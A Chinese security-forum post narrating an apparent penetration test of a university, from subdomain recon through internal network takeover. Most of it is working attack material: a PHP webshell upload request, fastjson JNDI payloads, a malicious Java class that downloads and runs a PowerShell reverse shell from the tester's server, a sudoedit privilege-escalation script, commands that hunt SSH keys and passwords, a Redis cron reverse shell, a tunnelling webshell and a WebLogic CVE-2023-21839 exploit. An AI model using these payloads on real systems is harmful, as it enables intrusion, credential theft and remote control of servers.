安全矩阵

 找回密码
 立即注册
搜索
查看: 516|回复: 0

某高校单兵渗透测试报告从外网打到内网全过程+内网渗透+...

[复制链接]

36

主题

36

帖子

120

积分

注册会员

Rank: 2

积分
120
发表于 2024-6-12 18:03:10 | 显示全部楼层 |阅读模式
信息收集打点
这个项目,拿到的目标是某某大学,而不是直接给的主域名或者IP啥的,所以需要我自己去对某某大学进行信息收集。
关于信息收集,可能大多数师傅习惯fofa、hunter、quanke、去重一条龙。这里我细致讲解一下,一些忽略的细节。
首先要尽可能的找到尽量齐全的资产,就要去收集该目标尽可能多的子域名,方式有以下方法。
1.大家都不会忽略的直接是xxx.edu.cn
2.备案号查询子域名
3.证书查询获取子域
4.小蓝本查询获取子域
5.去小程序搜一下相关目标可能会搜到小蓝本没有的子域(也可能是第三方)
以上是我认为比较齐全的搜子域名的方式。收集到子域名之后再进行fofa、hunter、quake一条龙。不过在使用quake的时候,可以加上cert也就是证书。hunter可以直接查备案。
外网渗透
在收集到了尽可能多资产之后,寻找一些有功能点的系统进行渗透。通常有注册、登陆功能的,asp的、php,springboot的,struct2的,thinkphp、laravel、爆过day的OA等这些系统会比较好打,容易getshell(因为以getshell为主,没有去挖其他未授权或者逻辑漏洞)。
这里通过多不同系统的测试,外网getshell了三次,分别讲讲。
第一个getshell
第一个是laravel框架低版本文件上传Getshell,这个接口是我在简单js审计的过程中发现的
数据包如下
POST /xxx/xxx/upload HTTP/2
Host: xxx.xxx.edu.cn
Xweb_xhr: 1
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Sec-Fetch-Mode: cors
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykriQeBZvkBfoslvY
Content-Length: 306

------WebKitFormBoundarykriQeBZvkBfoslvY
Content-Disposition: form-data; name="user"

test
------WebKitFormBoundarykriQeBZvkBfoslvY
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php
eval($_POST["ting"]);

------WebKitFormBoundarykriQeBZvkBfoslvY--

连接密码ting  成功获取服务器权限
但是由于当前获取的权限较低,又是第一台getshell,所以我尝试了进行提权,具体我放在内网渗透里。
几经挫折,依然没有提权成功,虽然可以打内网了但是我还是想找找别的入口,说不定是别的内网网段的呢。
浏览器访问的web站点测了一遍,包括需要登陆的没有前台漏洞的系统都测了一编。于是有第二次getshell。但是这个getshell也是跟之前的一样,用的laravel框架有个低版本的文件上传漏洞,接口名字都一样,估计是同一批开发人员,这里就不多截图了,提权也是一样没有成功。
第三次getshell
然后开始转向小程序了,搜索某某大学,看到几个小程序,直接开打。其中一个小程序,使用了fastjson,我的插件也提示我存在fastjso的JNDI注入漏洞经过检验确实存在该漏洞,复现过程如下。
数据包
POST /xxx/xxx/getWeChatOpenId HTTP/1.1
Host: xxx.xxx.edu.cn
Content-Length: 160
Sec-Ch-Ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Systemsign: se-pc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: application/json;charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Token: null
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxx.xxx.xxx.xx/Ting",
        "autoCommit":true
    }

恶意服务器开启9999端口监听 收到了学校服务器的的请求,获取Ting.class这个恶意类(放在我的公网服务器上)
然后web80端口也就监听到他请求Ting.class这个恶意类了
恶意类Ting.java代码如下 commands里面可以写任意命令  然后调用Runtime类的exec方法执行任意命令
import java.lang.Runtime;
import java.lang.Process;

public class Ting {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"ping","klvmixrvls.dgrh3.cn"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {

        }
    }
}最终这里就执行了我们的命令 也就是ping klvmixrvls.dgrh3.cn 可以看到我们收到了服务器那边的请求

RCE->Getsehll
由于已经可以在服务器上执行任意命令了,尝试获取服务器命令行的权限
首先在自己服务器开启监听
nc -lvp 8888
其实就是一个无文件落地,利用powershell 进行反弹shell,当然在这个情况下如果目标出网直接在公网挂该文件即可,如果不出网,可以通过拿下的另外一个内网shell,开一个http即可
然后修改恶意类为如下代码 此时在我的服务器已经准备好了Invoke-PowerShellTcp.ps1文件
import java.lang.Runtime;
import java.lang.Process;

public class Ting {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            Process pc = Runtime.getRuntime().exec("powershell IEX (New-Object System.Net.Webclient).DownloadString('http://xxxxxxxxx/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxxxxx -port 8888");
            pc.waitFor();
        } catch (Exception e) {

        }
    }
}
依然发送如下数据包
POST /xxx/xxx/getxxxxx HTTP/1.1
Host: xxx.xxx.edu.cn
Content-Length: 160
Sec-Ch-Ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Systemsign: se-pc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: application/json;charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Token: null
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxxxxx:9999/Ting",
        "autoCommit":true
    }

查看http历史记录,可以看到先去获取了我的恶意类Ting.class并加载  加载恶意类的时候去执行powershell命令 下载Invoke-PowerShellTcp.ps1文件

然后执行后面完整的命令反弹shell到我监听的服务器 成功获取服务器的shell 权限

这里已经获得三个shell了,两个linux,一个windows。这个时候应该先用哪个呢?当然是Linux,因为windows有杀软啊。
内网渗透Linux提权
在对linux进行提权的过程中,我当时用到的方法有这几个:
SUID提权 使用这三条命令任意一条即可 查看有哪些具有suid权限的命令 然后再看看有没有下面的几个可以提权的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

可以提权的命令通常有这些
Nmap、Vim、find、Bash、More、Less、Nano、cp
脏牛提权 受影响版本如下
Centos7 /RHEL7    3.10.0-957.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1
内核漏洞提权 常见有这几种
sudo缓冲区溢出提权(CVE-2021-3156) 要求sudo suid。
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

sudoedit -s /   判断漏洞是否存在
显示 sudoedit: /: not a regular file表示存在
sudo提权(CVE-2023-22809)
echo "if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | grep -oP "sudoedit.*")

if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
fi

echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) NOPASSWD:ALL"
read -n 1 -s -r -p "Press any key to continue..."
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0
" >> exp.sh
polkit提权 即pkexec提权(CVE-2021-4034)影响范围
不受影响版本

CentOS:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1

Debain:
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
通过以下命令查看版本
CentOS:
rpm -qa polkit

Ubuntu:
dpkg -l policykit-1
等等还有的不记得了。可以使用一些linux主机信息收集脚本,直接判断当前主机有哪些提权的方式,github是有相关项目的。
出了提权以为肯定还有对linux主机的其他信息收集,我总结了这些命令
uname -a  打印所有可用的系统信息
uname -r  内核版本
uname -n  系统主机名。
uname -m  查看系统内核架构(64位/32位)
hostname  系统主机名
lsb_release -a   发行版信息
cat /proc/version  内核信息
cat /etc/*-release  发行版信息
cat /etc/issue    发行版信息
cat /proc/cpuinfo  CPU信息
find / -type f -name "*.env" 搜索配置文件
查看历史命令
cat ~/.bash_history  history

cat /etc/services查询存在的服务
cat /etc/services | grep Java     查询对应的服务
systemctl list-units --type=service --state=running   查询已经开启的服务
cat /etc/services 查看端口映射服务

查找ssh密钥
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls

内网存货探测 不用上传工具
for i in 192.168.133.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done

locate 快速定位文件
locate .php

find . -name "*.php" -print0 | xargs -0 grep -i -n "$password"

find / -name *.ini -exec grep -Hi password {} \; >2.txt
其中,在我拿到那两台linux之后,由于是php的,我找到了.env文件,这个文件存放的时候数据库账号密码,甚至小程序的appid appkey 有时候还会有ak/sk这些高危严重的信息。这里我就获取到了几个密码,也接管了数据库。
内网横向
然后我直接上传了一个不带免杀的fscan,linux的好处就是没有杀软,不用做免杀,反弹shell也很方便。直接fscan梭哈了一下,搞了几台ssh,几个redis未授权。然后redis未授权其中一个通过写入计划任务来反弹shell,路径为/var/spool/cron/
NC开启监听等待 反弹shell
成功反弹shell


除了可以直接利用的漏洞以为还有很多的web服务,那么在打不动了的时候,就又要开始打内网的web了,这里主要找了一台双网卡的内网ip来打。
师傅会问,我还没拿到他的权限,我就知道他是双网卡了?
那就是fscan的强大之处了,他在进行存货探测的时候,会使用似乎的ping,还是哪个服务的探测,就可以返回该主机的一些信息,有时候就会包括主机名,双网卡的话,还能获取不同网卡的两个IP。
好了,开始打这个双网卡IP了,那么为了尽可能发现更多这个IP的脆弱点,我对其进行了全端口的扫描。然后为了更方便打内网,我肯定要正向代理搭建一下隧道嘛。
内网穿透
内网穿透的话我们也就需要搭建隧道了,关于隧道搭建,我想搭建必须要知道的是正向代理和反向代理,我以我自己的理解,以通俗的方式跟大家讲一下(语文不好)。
正向代理:像reGeorg使用这种工具 在已知内网ip的情况下,通过内网中可以出网的服务器(已getshell的服务器)去访问内网ip的服务。
通俗来讲:有一个代理服务器,可以让外面的客户端去访问 该代理服务器可以访问的局域网(内网),也就是VPN
反向代理:直接将内网的web服务器,例如80的web服务,映射到公网的81端口上,这样访问公网的81相当于访问内网那台不出网的客户端的80端口,是端口映射过去
也就是nginx反代
通俗来讲:内网的主动去代理到公网
这里我们就拿两个linux中任意一台来搭建隧道即可。
隧道搭建
使用的Neo-reGeorg,reGeorg不行了,用不了咯
执行命令生成 密码为ting的webshell
python neoreg.py generate -k ting

将webshell上传至目标服务器

配置代理转发的端口
python neoreg.py -k ting -u https://xxx.xxx.edu.cn//xxx//xxx//xx//xx//xx//tunnel.php -p 1080
配置 proxifiler 代理 如图代理成功
配置代理规则 之后所有浏览器的流量将会转发至 1080端口,然后转发给目标服务器上 就看将目标服务器当作跳板访问内网其他web服务获取其他主机的其他服务了
好了这个时候就可以继续打这个双网卡IP,或者内网其他IP的WEB服务了。端口扫描发现7003端口,一看就是weblogic,因为weblogic常见端口就是7001/7002/7003,这里先尝试他出网的情况,也就是在公网服务器部署ldap服务
公网服务器开启监听 提供ldap服务
公网服务器开启NC监听 反弹的shell
本机使用poc对目标今天JNDI请求
java -jar Weblogic-CVE-2023-21839.jar xxxxxxx:7003 ldap://xxxxxxxx:1389/Basic/ReverseShell/xxxxxx/
目标回去请求公网服务区的恶意服务 反弹shell到公网服务器 getshell
拿下双网卡先别太高兴,看看是不是“真”的双网卡,因为有的主机第二个网卡,就那一个IP,老规矩上传fscan,好家伙存活IP有点多,当时没截图,看来是真的了。
有所收获之后,继续打web,遇到一个spring报错页面,扫了一下目录,扫出来个api文档,测试一下接口 大丰收啊 这个接口直接爆了几十个数据库的账号密码 大量注意一下滚动条就完事了,这下收集了一堆密码,发现连数据库密码也有复用的情况,接下来也就是喷洒咯

收集大量密码之后,进行喷洒,注意一个ip爆破次数不能过度,否则安全设备会报警还会阻止爆破,也就是即使后面密码对了也会显示失败。除了喷洒之后还是对内网其他web进行了测试最终也是收获了颇丰啊就不一一展示了。getshell的有这些(实际上不止这些懒得批图了,包括对那台windows的lassm dump后面过程也不详细说了,太漫长了)。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:36 , Processed in 0.014650 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表